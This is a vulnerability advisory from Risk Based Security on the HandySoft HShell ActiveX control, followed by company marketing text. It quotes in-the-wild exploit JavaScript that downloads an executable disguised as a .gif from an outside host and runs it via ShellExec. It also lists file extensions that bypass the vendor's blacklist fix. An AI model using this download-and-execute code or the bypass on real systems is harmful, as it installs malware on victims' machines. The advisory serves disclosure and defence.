RBS-2019-001

HandySoft HShell ActiveX Control
Multiple Insecure Methods Arbitrary Code Execution

Vulnerable Program Details

Details for tested products and versions:

Vendor:	HandySoft
Product:	HShell ActiveX Control (HShell.dll)
Version:	4.1.0.5

NOTE: Other versions than the one listed above are likely affected.

Credits

Carsten Eiram, Risk Based Security
Twitter: @RiskBased

Impact

The HShell ActiveX Control (HShell.dll) contains multiple unsafe methods that implement insufficient security restrictions that may allow an attacker to e.g. download and execute arbitrary code on a user's system.

Vulnerability Details

In August 2014, the July version of a monthly report[1] about malicious code trends was published by KISA (Korea Internet & Security Agency). Pages 29 and 30 detail a JavaScript file with malicious code that exploited a 0-day vulnerability in the HandySoft HShell ActiveX control by combining three unsafe methods.

```
obj.DownloadFromURL("http://www.sdgfaith.com/files/env/image/jpg/last.gif",
"c:\\windows\\temp\\SearchMon.exe", 1, 1);
setTimeout(function() {
   if(obj.IsFileExist("c:\\windows\\temp\\SearchMon.exe"))
      obj.ShellExec("", "c:\\windows\\temp\\SearchMon.exe", "", "c:\\", 0, 0, 0);
}, 20000);
```

[1] https://www.krcert.or.kr/filedownload.do?attach_file_seq=835&attach_file_id=EpF835.pdf

The methods being exploited are defined as follows:

```
[id(0x00000002), helpstring("method DownloadFromURL")]
void DownloadFromURL(
                [in] BSTR URL,
                [in] BSTR LocalPath,
                [in] long options,
                [in] long stats);

[id(0x0000000d), helpstring("method IsFileExist")]
long IsFileExist([in] BSTR bstrLocalPath);

[id(0x0000000a), hidden, helpstring("method ShellExec")]
void ShellExec(
                [in] BSTR verb,
                [in] BSTR file,
                [in] BSTR params,
                [in] BSTR dir,
                [in] VARIANT_BOOL show,
                [in] VARIANT_BOOL wait,
                [in] long lWaitTime);
```

As should be clear from the names of the methods, they allow downloading a file to a controlled location on a user's system, check if the file exists, and then execute it.

At some unknown point, the vendor attempted to fix this vulnerability by introducing a function in later versions that implements a check for certain dangerous file extensions based on a blacklist that restricts the following file extensions: ".exe", ".com", ".bat", ".cmd", ".scr", ".msi", and ".vbs".

```
.text:1000B3D3                push    offset a_exe    ; ".exe"
.text:1000B3D8                push    eax             ; unsigned __int8 *
.text:1000B3D9                call    __mbsicmp
.text:1000B3DE                pop     ecx
.text:1000B3DF                test    eax, eax
.text:1000B3E1                pop     ecx
.text:1000B3E2                jz      @return_1
.text:1000B3E8                lea     eax, [ebp+szFileExt] ; char[256]
.text:1000B3EE                push    offset a_com    ; ".com"
.text:1000B3F3                push    eax             ; unsigned __int8 *
.text:1000B3F4                call    __mbsicmp
.text:1000B3F9                pop     ecx
.text:1000B3FA                test    eax, eax
.text:1000B3FC                pop     ecx
.text:1000B3FD                jz      short @return_1
.text:1000B3FF                lea     eax, [ebp+szFileExt] ; char[256]
.text:1000B405                push    offset a_bat    ; ".bat"
.text:1000B40A                push    eax             ; unsigned __int8 *
.text:1000B40B                call    __mbsicmp
.text:1000B410                pop     ecx
.text:1000B411                test    eax, eax
.text:1000B413                pop     ecx
.text:1000B414                jz      short @return_1
.text:1000B416                lea     eax, [ebp+szFileExt] ; char[256]
```

```
.text:1000B41C                  push    offset a_cmd    ; ".cmd"
.text:1000B421                  push    eax             ; unsigned __int8 *
.text:1000B422                  call    __mbsicmp
.text:1000B427                  pop     ecx
.text:1000B428                  test    eax, eax
.text:1000B42A                  pop     ecx
.text:1000B42B                  jz      short @return_1
.text:1000B42D                  lea     eax, [ebp+szFileExt] ; char[256]
.text:1000B433                  push    offset a_scr    ; ".scr"
.text:1000B438                  push    eax             ; unsigned __int8 *
.text:1000B439                  call    __mbsicmp
.text:1000B43E                  pop     ecx
.text:1000B43F                  test    eax, eax
.text:1000B441                  pop     ecx
.text:1000B442                  jz      short @return_1
.text:1000B444                  lea     eax, [ebp+szFileExt] ; char[256]
.text:1000B44A                  push    offset a_msi    ; ".msi"
.text:1000B44F                  push    eax             ; unsigned __int8 *
.text:1000B450                  call    __mbsicmp
.text:1000B455                  pop     ecx
.text:1000B456                  test    eax, eax
.text:1000B458                  pop     ecx
.text:1000B459                  jz      short @return_1
.text:1000B45B                  lea     eax, [ebp+szFileExt] ; char[256]
.text:1000B461                  push    offset a_vbs    ; ".vbs"
.text:1000B466                  push    eax             ; unsigned __int8 *
.text:1000B467                  call    __mbsicmp
```

This function is called by the ShellExec() method and the DownloadFromURL() method to restrict files being downloaded, written to disk, and executed. Other similarly unsafe methods like URLDownloadToFile() and CopyFile() also use it.

A blacklist is a very problematic way of addressing the main problems. While this blacklist successfully blocks the known exploit, it is very incomplete and fails to include many unsafe file extensions like ".vb", ".ws", ".wsf", and ".pif". Bypassing it is, therefore, trivial to download and execute arbitrary code on a user's system.

NOTE: This ActiveX control provides many other methods that are considered unsafe for a safe-for-scripting ActiveX control.

Solution

No solution is currently available. KrCERT/CC has contacted the vendor to release a new fix. Remove the ActiveX control from systems, where it is installed.

References

RBS:	RBS-2019-001[2]
VulnDB:	201144

Timeline

2019-03-22	Vulnerability discovered.
2019-03-22	Vulnerability reported to KrCERT/CC.
2019-03-22	VulnDB customers informed that the original fix is incomplete.
2019-04-02	Publication of this vulnerability report.

[2] https://www.riskbasedsecurity.com/research/RBS-2019-001.pdf

About Risk Based Security

Risk Based Security offers clients fully integrated security solutions, combining real-time vulnerability and threat data, as well as the analytical resources to understand the implications of the data, resulting in not just security, but the right security.

Company History

Risk Based Security, Inc. (RBS) was established to support organizations with the technology to turn security data into actionable information and a competitive advantage. We do so by enhancing the research available and providing a first of its kind risk identification and evidence-based security management service.

As a data driven and vendor neutral organization, RBS is able to deliver focused security solutions that are timely, cost effective, and built to address the specific threats and vulnerabilities most relevant to the organizations we serve. We not only maintain vulnerability and data breach databases, we also use this information to inform our entire practice.

Solutions

VulnDB - Vulnerability intelligence, alerting, and third party library tracking based on the largest and most comprehensive vulnerability database in the world. Available as feature-rich SaaS portal or powerful API. Vendor evaluations including our Vulnerability Timeline and Exposure Metrics (VTEM), Cost of Ownership ratings, Code Maturity, and Social Risk Scores.

Cyber Risk Analytics - Extensive data breach database including interactive dashboards and breach analytics. Clients are able to gather and analyze security threat and data breach information on businesses, industries, geographies, and causes of loss. It also allows monitoring of domains for data breaches and leaked credentials as well as implementing a continuous vendor management program with our PreBreach data.

YourCISO - Revolutionary service that provides organizations an affordable security solution including policies, vulnerability scans, awareness material, incident response, and access to high quality information security resources and consulting services.

Vulnerability Assessments (VA) and Pentesting - Regularly scheduled VAs and pentests help an organization identify weaknesses before the bad guys do. Managing the most comprehensive VDB puts us in a unique position to offer comprehensive assessments, combining the latest in scanning technology and our own data. Detailed and actionable reports are provided in a clear and easy to understand language.

Security Development Lifecycle (SDL) - Consulting, auditing, and verification specialized in breaking code, which in turn greatly increases the security of products.